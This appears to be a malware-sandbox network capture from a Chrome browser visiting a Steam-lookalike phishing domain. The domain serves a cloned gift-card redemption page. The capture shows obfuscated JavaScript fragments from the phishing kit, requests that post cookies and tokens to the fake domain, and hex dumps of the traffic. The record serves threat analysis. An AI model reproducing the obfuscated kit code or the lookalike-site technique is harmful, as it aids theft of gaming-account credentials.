,''),ULmsoR0[gbtQmh(0x1c)](bJSoVK(0x3e6,0x3d2),ryEP78y),ULmsoR0[fm58XCn[0x3]](gbtQmh(0x36),window[bJSoVK(Eexfkq1(0x4),0x3ce)][ryEP78y]),QhtqHI[bJSoVK(0x3e0,Eexfkq1(0x5))](ULmsoR0))}const BopZLaM=I0IecTd(window[bJSoVK(0x3b7,0x3ce)][bJSoVK(0x3b8,0x3ba)],win
2024-10-06 12:08:18 UTC	1369	IN	Data Raw: 3b 6c 65 74 20 42 6f 70 5a 4c 61 4d 3d 61 74 6f 62 28 50 49 44 66 41 54 7a 5b 72 79 45 50 37 38 79 3d 5b 30 78 34 62 34 2c 30 78 34 62 66 5d 2c 62 4a 53 6f 56 4b 28 67 62 74 51 6d 68 28 55 4c 6d 73 6f 52 30 28 30 78 34 35 29 29 29 5d 28 2f 5c 73 2b 2f 67 2c 27 27 29 5b 72 79 45 50 37 38 79 3d 5b 30 78 34 63 39 2c 30 78 34 62 66 5d 2c 6e 65 77 20 62 4a 53 6f 56 4b 28 4b 33 35 41 47 51 5b 6f 78 65 45 62 49 28 30 78 35 63 29 5d 2c 6f 78 65 45 62 49 28 30 78 34 39 29 2c 45 65 78 66 6b 71 31 29 2e 68 4a 6b 6e 54 5f 5d 28 2f 2d 2f 67 2c 27 2b 27 29 5b 72 79 45 50 37 38 79 3d 5b 30 78 34 63 65 2c 30 78 34 62 66 5d 2c 62 4a 53 6f 56 4b 28 67 62 74 51 6d 68 28 30 78 33 38 29 29 5d 28 2f 5f 2f 67 2c 27 2f 27 29 29 3b 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 Data Ascii: ;let BopZLaM=atob(PIDfATz[ryEP78y=[0x4b4,0x4bf],bJSoVK(gbtQmh(ULmsoR0(0x45)))](/\s+/g,'')[ryEP78y=[0x4c9,0x4bf],new bJSoVK(K35AGQ[oxeEbI(0x5c)],oxeEbI(0x49),Eexfkq1).hJknT_](/-/g,'+')[ryEP78y=[0x4ce,0x4bf],bJSoVK(gbtQmh(0x38))](/_/g,'/'));return decodeURI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49716	104.21.91.169	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:19 UTC	1618	OUT	POST /20412b512e08005e505a0e0b5f050401095759500c51015656554607740b5643011d5776134c17 HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive Content-Length: 82 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.pl-SinX5vnLRMPSkcsu8OauXJRrbQjjh.NLiq_QV1AR7bCL-H.fJVn0pxppmZwlL3eZwM7sQ9H79b2vJsXnWRHx7SNOK1EQF_PK9K36rmDR_FUhiVlgjrVMRZgD3XFSTyoAxh7IZhsAD_iepiQKKSmlaNqwOVIrUohfIRLgVHdFAzsR-xj09JQT2rMhxm9o1B-2XFKz2j1Pa0cNLQJaPR_ZQuU2GkfLYCK_N66xWO0b3CA8dFAgauCd0p0wApkOnG8gpyEqQ9yeP7NthAoYOMUVOh1owk1FvuArTWZjV-JPXlsmltq.J267FVKRAoMTYoVUqxOATg; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImQ4ZTBjOWM0NjI2M2Y2NDU5ZWFiNWU4ZmRmYzUyYzMxIiwic2VydmljZSI6IlN0ZWFtIn0.fSMgYBULqA6j_tCey-BCCEICC-_iPvnqoa5GfrFDwcs; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.q78MNxi5QTdn5i4lijWrLs-DOg7EQVlN.87lDbI6_M3KMAVu0.6Ql_P15JQKaL9qcGO7U39O6Zz-Xu7nmXb0XQdSQrhe96sOknvaVpjDaAsejCMn6qP7hEofy203MLghwN0wWtAtek.M0-VEhh8wn4eEGVZiCFs8g
2024-10-06 12:08:19 UTC	82	OUT	Data Raw: 70 61 74 68 6e 61 6d 65 3d 25 32 46 6a 66 68 38 38 39 33 30 34 30 32 38 32 39 34 39 30 32 33 25 32 46 68 65 72 65 25 32 46 70 75 74 26 73 65 61 72 63 68 3d 26 68 6f 73 74 6e 61 6d 65 3d 73 6e 65 61 6d 63 6f 6d 6e 6e 75 6d 6e 6c 74 79 2e 63 6f 6d Data Ascii: pathname=%2Fjfh8893040282949023%2Fhere%2Fput&search=&hostname=sneamcomnnumnlty.com
2024-10-06 12:08:19 UTC	965	IN	HTTP/1.1 201 Created Date: Sun, 06 Oct 2024 12:08:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WYpfKAdWu5d9ypTAZhWppneWpHJFIKs70pIwFlpsxaiBuUN6UpIjKcvL2D%2FUc70hWfrIdc5VR8nTowpCodSH0qs2Bh45Wz9GhT3mM7P%2FGIWtq8rZ111PbmCULKCg1wYq0MDc2WJNMw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce589414d4dde95-EWR
2024-10-06 12:08:19 UTC	404	IN	Data Raw: 37 62 64 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 27 2f 32 30 34 31 32 62 35 31 32 65 30 38 30 30 35 64 35 38 35 36 35 33 34 62 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 74 72 69 67 67 65 72 73 20 3d 20 5b 22 61 22 2c 22 62 75 74 74 6f 6e 22 5d 3c 2f 73 63 72 69 70 74 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: 7bd9<!DOCTYPE html><html class=" responsive" lang="en"><head><script async src='/20412b512e08005d5856534b.js'></script><script>window.triggers = ["a","button"]</script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewp
2024-10-06 12:08:19 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 73 74 65 61 6d 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 64 65 65 6d 20 61 20 53 74 65 61 6d 20 47 69 66 74 20 43 61 72 64 20 6f 72 20 57 61 6c 6c 65 74 20 43 6f 64 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 64 65 65 6d 20 61 20 53 74 65 61 6d 20 47 69 66 74 20 43 61 72 64 20 6f 72 20 57 61 6c 6c 65 74 20 43 6f 64 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 Data Ascii: <meta name="twitter:site" content="@steam"><meta property="og:title" content="Redeem a Steam Gift Card or Wallet Code"><meta property="twitter:title" content="Redeem a Steam Gift Card or Wallet Code"><meta property="og:type" content="website"><meta proper
2024-10-06 12:08:19 UTC	1369	IN	Data Raw: 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 63 73 73 2f 76 36 2f 61 63 63 6f 75 6e 74 2e 63 73 73 3f 76 3d 50 32 57 4c 49 38 42 36 64 64 4a 65 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 63 73 73 2f 76 36 2f 63 61 72 74 2e 63 73 73 3f 76 3d 75 32 46 49 61 69 65 74 58 36 61 46 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 Data Ascii: " type="text/css"><link href="https://store.akamai.steamstatic.com/public/css/v6/account.css?v=P2WLI8B6ddJe&l=english" rel="stylesheet" type="text/css"><link href="https://store.akamai.steamstatic.com/public/css/v6/cart.css?v=u2FIaietX6aF&l=englis
2024-10-06 12:08:19 UTC	1369	IN	Data Raw: 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 73 68 61 72 65 64 2f 6a 61 76 61 73 63 72 69 70 74 2f 73 68 61 72 65 64 5f 67 6c 6f 62 61 6c 2e 6a 73 3f 76 3d 51 35 74 74 2d 64 38 72 30 59 4c 75 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 6a 61 76 61 73 63 72 69 70 74 2f 6d 61 69 6e 2e 6a 73 3f 76 3d 39 30 7a 51 72 69 4e 54 4e 45 6e 4d 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 Data Ascii: ipt" src="https://store.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=english"></script><script type="text/javascript" src="https://store.akamai.steamstatic.com/public/javascript/main.js?v=90zQriNTNEnM&l=english
2024-10-06 12:08:19 UTC	1369	IN	Data Raw: 6f 74 6f 74 79 70 65 50 72 65 73 65 72 76 65 5b 34 5d 20 7c 7c 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6f 6d 65 3b 0a 20 20 20 20 20 20 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 62 69 6e 64 20 3d 20 5f 5f 50 72 6f 74 6f 74 79 70 65 50 72 65 73 65 72 76 65 5b 35 5d 20 7c 7c 20 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 62 69 6e 64 3b 0a 20 20 20 20 20 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 63 72 6f 6c 6c 54 6f 20 3d 20 5f 5f 50 72 6f 74 6f 74 79 70 65 50 72 65 73 65 72 76 65 5b 36 5d 20 7c 7c 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 63 72 6f 6c 6c 54 6f 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 Data Ascii: ototypePreserve[4] \|\| Array.prototype.some; Function.prototype.bind = __PrototypePreserve[5] \|\| Function.prototype.bind; HTMLElement.prototype.scrollTo = __PrototypePreserve[6] \|\| HTMLElement.prototype.scrollTo; </script><script type="text
2024-10-06 12:08:19 UTC	1369	IN	Data Raw: 29 29 3b 0a 20 20 20 20 20 20 20 20 53 65 74 75 70 54 6f 6f 6c 74 69 70 73 28 7b 0a 20 20 20 20 20 20 20 20 20 20 74 6f 6f 6c 74 69 70 43 53 53 43 6c 61 73 73 3a 20 27 73 74 6f 72 65 5f 74 6f 6f 6c 74 69 70 27 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 6a 61 76 61 73 63 72 69 70 74 2f 72 65 64 65 65 6d 77 61 6c 6c 65 74 63 6f 64 65 2e 6a 73 3f 76 3d 58 73 67 4f 44 71 55 4f 6c 56 77 39 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 22 3e 3c 2f 73 63 72 69 70 74 Data Ascii: )); SetupTooltips({ tooltipCSSClass: 'store_tooltip' }); }); </script><script type="text/javascript" src="https://store.akamai.steamstatic.com/public/javascript/redeemwalletcode.js?v=XsgODqUOlVw9&l=english"></script
2024-10-06 12:08:19 UTC	1369	IN	Data Raw: 64 65 72 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 6d 65 6e 75 5f 63 74 6e 20 6d 61 69 6e 6d 65 6e 75 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 6d 65 6e 75 22 20 69 64 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 6d 65 6e 75 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 6d 65 6e 75 5f 63 6f 6e 74 65 6e 74 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 6d 65 6e 75 5f 63 6f 6e 74 65 6e 74 73 5f 69 74 65 6d 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 73 Data Ascii: der"> <div class="responsive_page_menu_ctn mainmenu"> <div class="responsive_page_menu" id="responsive_page_menu"> <div class="mainmenu_contents"> <div class="mainmenu_contents_items"> <a class="menuitem s
2024-10-06 12:08:19 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 6f 77 41 75 74 68 57 69 6e 22 20 68 72 65 66 3d 22 23 22 3e 44 69 73 63 75 73 73 69 6f 6e 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 6f 77 41 75 74 68 57 69 6e 22 20 68 72 65 66 3d 22 23 22 3e 57 6f 72 6b 73 68 6f 70 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 6f 77 41 75 74 68 57 69 6e 22 20 68 72 65 66 3d 22 23 22 3e 4d 61 72 6b 65 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 Data Ascii: <a class="submenuitem showAuthWin" href="#">Discussions</a> <a class="submenuitem showAuthWin" href="#">Workshop</a> <a class="submenuitem showAuthWin" href="#">Market</a> <a class="submenuitem sh
2024-10-06 12:08:19 UTC	1369	IN	Data Raw: 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 63 6c 61 73 73 3d 22 73 68 6f 77 41 75 74 68 57 69 6e 22 3e 53 74 65 61 6d 20 53 75 62 73 63 72 69 62 65 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 23 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 63 6c 61 73 73 3d 22 73 68 6f 77 41 75 74 68 57 69 6e 22 3e 52 65 66 75 6e 64 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 Data Ascii: get="_blank" class="showAuthWin">Steam Subscriber Agreement</a>  \|  <a href="#" target="_blank" class="showAuthWin">Refunds</a> </span> </div> </div> </div> </div> <div

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49718	104.102.49.254	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:19 UTC	353	OUT	GET /favicon.ico HTTP/1.1 Host: steamcommunity.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:19 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/x-icon Cache-Control: public,max-age=86400 Expires: Mon, 26 Aug 2024 10:29:35 GMT Last-Modified: Tue, 18 Sep 2018 23:32:59 GMT Content-Length: 38554 Date: Sun, 06 Oct 2024 12:08:19 GMT Connection: close
2024-10-06 12:08:19 UTC	16120	IN	Data Raw: 00 00 01 00 05 00 10 10 00 00 01 00 20 00 68 04 00 00 56 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 be 04 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 46 0e 00 00 30 30 00 00 01 00 20 00 a8 25 00 00 ee 1e 00 00 00 00 00 00 01 00 20 00 04 52 00 00 96 44 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a7 75 13 00 a6 74 13 07 a9 77 13 48 ac 7a 13 a8 ae 7c 13 e4 af 7d 13 fb af 7d 13 fb ae 7c 13 e4 ac 7a 13 a8 a9 77 13 49 a6 74 13 07 a7 75 13 00 00 00 00 00 00 00 00 00 a3 70 13 00 99 66 13 00 98 65 13 18 9c 6a 13 92 9e 6b 11 ee 9e 6b 0f ff 9f 6c 11 ff a0 6d 13 ff a0 6e 13 ff a0 6e 13 ff a0 6e 13 ff 9f 6d 13 ee 9c 6a 13 92 98 65 13 18 99 66 13 00 a3 71 12 00 8d Data Ascii: hV F00 % RD( utwHz\|}}\|zwItupfejkklmnnnmjefq
2024-10-06 12:08:19 UTC	16384	IN	Data Raw: 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b e2 34 1a 0a 5e 35 1a 0a 04 35 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 1a 0b 00 35 18 0b 01 33 1b 0b 3b 33 1b 0c be 33 1b 0c fc 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c fc 33 1b 0c be 33 1b 0b 3b 35 18 0b 01 34 Data Ascii: 444444444444444^55453;33333333333333333333333333333;54
2024-10-06 12:08:19 UTC	1978	IN	Data Raw: c2 72 30 6a 8e d8 e8 48 ec 76 1b 7e 5d a7 91 59 00 6e 8f af de 57 a0 71 ea bc 7e 7e ff ce 22 5e fb 64 25 d5 b5 75 27 04 ec b0 fc bd 3b 19 0a 64 4e 82 aa 29 2c 97 e6 9d c3 9a 55 00 c5 8b 9f 23 75 e6 cf 01 3e 47 f8 21 d0 3b 38 b9 8e 6f 25 fa 02 3a 7b 8e 14 b2 37 ab 90 77 e7 6f 64 ea b9 fd b9 f2 fc 73 38 ef dc fe 74 4b 8a b5 b6 12 1b c1 61 b7 1d 5f 99 3f f5 f1 28 f0 f8 03 e8 ba de e4 df d7 ba 3d 2c 5a bf d7 d8 db b7 59 db 7b 9d 98 5c 90 cf 2a 25 96 b2 45 cf 36 fb c1 16 7a 8d a8 bd a0 2d 40 f8 5e a8 24 34 96 09 04 14 14 97 d7 f0 f1 92 ad cc 5f b3 9b a1 7d 7b 70 c9 e4 e1 5c 3a 75 18 83 7b f7 b0 1c 8c 4e c0 48 38 da 70 26 e0 94 5f 4a bd 82 68 46 71 36 1c ec 3a b6 8b 60 d1 39 51 cc 03 76 b7 44 b1 9f 51 01 94 2c 7a 8e d4 d9 0f 79 81 f7 51 dc 00 92 18 52 61 c5 98 Data Ascii: r0jHv~]YnWq~~"^d%u';dN),U#u>G!;8o%:{7wods8tKa_?(=,ZY{\*%E6z-@^$4_}{p\:u{NH8p&_JhFq6:`9QvDQ,zyQRa
2024-10-06 12:08:19 UTC	4072	IN	Data Raw: af 7e be 9e 67 fe b3 8c 15 3b b2 f0 07 f4 26 e7 fc 88 b1 e5 97 1c 17 cd 23 b7 cd e4 b2 49 43 9a ed d4 35 6e 2f 4f fd 6b 09 9b f6 e7 37 7b 4d ab 74 b8 32 07 b4 a7 02 36 7f 5d e9 a7 8f 05 db 7d 83 57 00 00 d1 c3 2e 04 a5 79 80 3c 90 8b 11 89 0f 83 07 55 df 81 a1 a4 d2 85 dd 66 e3 82 91 7d 9b cd a0 9b 91 9a 40 df b4 24 d6 ef cd a5 bc c6 5d 1f dd f8 b8 22 d0 44 f0 eb 8a c2 f2 1a 56 ef ca 66 de 86 03 6c 3d 98 4f 95 cb 83 dd 66 c3 69 d7 d0 34 ad d1 3a 7c fe 00 35 6e 2f 59 85 15 2c da 74 80 97 e7 ae e3 4f 1f ad 64 e1 c6 03 54 d4 78 d0 44 4e 8b f7 7f 52 e7 57 10 17 1d c1 43 b7 4c e7 b6 d9 63 ce 98 09 f8 a3 15 3b f9 fb 67 eb 8c f8 81 61 f0 1e ac 12 82 02 59 c0 4f d1 e4 80 cd a7 53 bb 7f 69 d0 7d 57 42 a1 00 00 ba 5d f7 24 20 36 85 fe 08 f0 28 21 52 2e a1 40 29 45 Data Ascii: ~g;&#IC5n/Ok7{Mt26]}W.y<Uf}@$]"DVfl=Ofi4:\|5n/Y,tOdTxDNRWCLc;gaYOSi}WB]$ 6(!R.@)E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49722	104.21.91.169	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:20 UTC	1294	OUT	GET /20412b512e08005d5856534b.js HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.pl-SinX5vnLRMPSkcsu8OauXJRrbQjjh.NLiq_QV1AR7bCL-H.fJVn0pxppmZwlL3eZwM7sQ9H79b2vJsXnWRHx7SNOK1EQF_PK9K36rmDR_FUhiVlgjrVMRZgD3XFSTyoAxh7IZhsAD_iepiQKKSmlaNqwOVIrUohfIRLgVHdFAzsR-xj09JQT2rMhxm9o1B-2XFKz2j1Pa0cNLQJaPR_ZQuU2GkfLYCK_N66xWO0b3CA8dFAgauCd0p0wApkOnG8gpyEqQ9yeP7NthAoYOMUVOh1owk1FvuArTWZjV-JPXlsmltq.J267FVKRAoMTYoVUqxOATg; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImQ4ZTBjOWM0NjI2M2Y2NDU5ZWFiNWU4ZmRmYzUyYzMxIiwic2VydmljZSI6IlN0ZWFtIn0.fSMgYBULqA6j_tCey-BCCEICC-_iPvnqoa5GfrFDwcs; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.q78MNxi5QTdn5i4lijWrLs-DOg7EQVlN.87lDbI6_M3KMAVu0.6Ql_P15JQKaL9qcGO7U39O6Zz-Xu7nmXb0XQdSQrhe96sOknvaVpjDaAsejCMn6qP7hEofy203MLghwN0wWtAtek.M0-VEhh8wn4eEGVZiCFs8g
2024-10-06 12:08:20 UTC	1064	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:20 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Last-Modified: Wed, 25 Sep 2024 10:33:41 GMT Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: max-age=14400 CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bzd36%2BKnhcAQirfQQJ5jH%2BTzEkyG9pOZFDIAxy6idsRvjemoOLLZ1HbIAabZbUgenqskCgOIW5DND9bUBhtgZsKzUEYAmnM5MdH%2Bi9fvcxOo79K3MUV9ObGKs4o8xYsnJJFxdEapjw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce58947fba57d20-EWR
